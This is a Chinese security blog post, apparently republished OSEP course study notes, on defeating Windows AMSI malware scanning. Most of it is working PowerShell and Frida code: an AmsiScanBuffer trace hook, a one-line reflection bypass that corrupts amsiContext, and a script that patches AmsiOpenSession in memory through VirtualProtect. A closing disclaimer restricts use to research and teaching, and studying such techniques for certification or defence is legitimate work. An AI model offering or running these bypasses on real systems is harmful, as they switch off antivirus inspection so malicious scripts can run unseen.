OSEP | 免杀高级-上

admin 2024年7月30日22:48:21评论13 views字数 4711阅读15分42秒阅读模式

关于笔记形式和学习方法请看OSEP学习之路 | 开篇

本篇是第三部分“免杀高级”技术,主要包括AMSI、uacbypass、applocker以及powershell的CLM模式,笔记基本是按照教材梳理的,章节不是一一对应,因为有些内容合并后更好理解

OSEP | 免杀高级-上

1-AMSI bypass

1.1和1.2主要介绍windbg的使用和AMSI routine,是原理性的内容,不过多说明,我们主要集中在什么操作

1.3-攻击AMSI初始化

1.3.1-安装frida

pip install frida-toolspip install frida

1.3.2-查看powershell的processid

PS C:Usersdarwinyu> Get-Process -name powershellHandles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName-------  ------    -----      -----     ------     --  -- -----------    687      43    59428      73656       5.36  10684   1 powershell

1.3.3-使用frida进行Hook操作

frida-trace -p 10684 -x amsi.dll -i Amsi*

1.3.4-修改JS配置文件

/* * Auto-generated by Frida. Please modify to match the signature of AmsiScanBuffer. * This stub is currently auto-generated from manpages when available. * * For full API reference, see: https://frida.re/docs/javascript-api/ */{  /**   * Called synchronously when about to call AmsiScanBuffer.   *   * @this {object} - Object allowing you to store state for use in onLeave.   * @param {function} log - Call this function with a string to be presented to the user.   * @param {array} args - Function arguments represented as an array of NativePointer objects.   * For example use args[0].readUtf8String() if the first argument is a pointer to a C string encoded as UTF-8.   * It is also possible to modify arguments by assigning a NativePointer object to an element of this array.   * @param {object} state - Object allowing you to keep state across function calls.   * Only one JavaScript function will execute at a time, so do not worry about race-conditions.   * However, do not use this to store function arguments across onEnter/onLeave, but instead   * use "this" which is an object for keeping state local to an invocation.   */   onEnter(log, args, state) {    log('[*] AmsiScanBuffer()');    log(' | - amsiContext: ' + args[0]);    log(' | - buffer: ' + Memory.readUtf16String(args[1]));    log(' | - length: ' + args[2]);    log(' | - contentName: ' + args[3]);    log(' | - amsiSession: ' + args[4]);    log(' | - result: ' + args[5] + 'n');    this.resultPointer = args[5];  },  /**   * Called synchronously when about to return from AmsiScanBuffer.   *   * See onEnter for details.   *   * @this {object} - Object allowing you to access state stored in onEnter.   * @param {function} log - Call this function with a string to be presented to the user.   * @param {NativePointer} retval - Return value represented as a NativePointer object.   * @param {object} state - Object allowing you to keep state across function calls.   */  onLeave(log, retval, state) {    log('[*] AmsiScanBuffer() Exit');    resultPointer = this.resultPointer;    log('| - Result value is :' + Memory.readUShort(resultPointer) + "n");  }}

1.3.5-尝试修改

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$a=[Ref].Assembly.GetTypes()// Try to find type: AmsiUtilsForeach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}$c.GetFields('NonPublic,Static')$d = $c.GetFields('NonPublic,Static')// Try to find class ending with Context, say amsiContextForeach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}$f.GetValue($null)$g=$f.GetValue($null)[IntPtr]$ptr=$g[Int32[]]$buf=@(0)[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

1.3.6-合并成一句话

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context"){$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf =@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

后面直接用这一句话版本即可

1.4-修改AMSI

function LookupFunc {Param ($moduleName, $functionName)$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |     Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')    $tmp=@()    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))}function getDelegateType {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])$type = [AppDomain]::CurrentDomain.    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),     [System.Reflection.Emit.AssemblyBuilderAccess]::Run).      DefineDynamicModule('InMemoryModule', $false).      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',       [System.MulticastDelegate])  $type.    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).      SetImplementationFlags('Runtime, Managed')  $type.    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).      SetImplementationFlags('Runtime, Managed')return $type.CreateType()}[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession$oldProtectionBuffer = 0$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)$buf = [Byte[]] (0x48, 0x31, 0xC0) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer)

坚持自律做最好的自己

原文始发于微信公众号(高级红队专家):OSEP | 免杀高级-上

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月30日22:48:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OSEP | 免杀高级-上https://cn-sec.com/archives/3004168.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息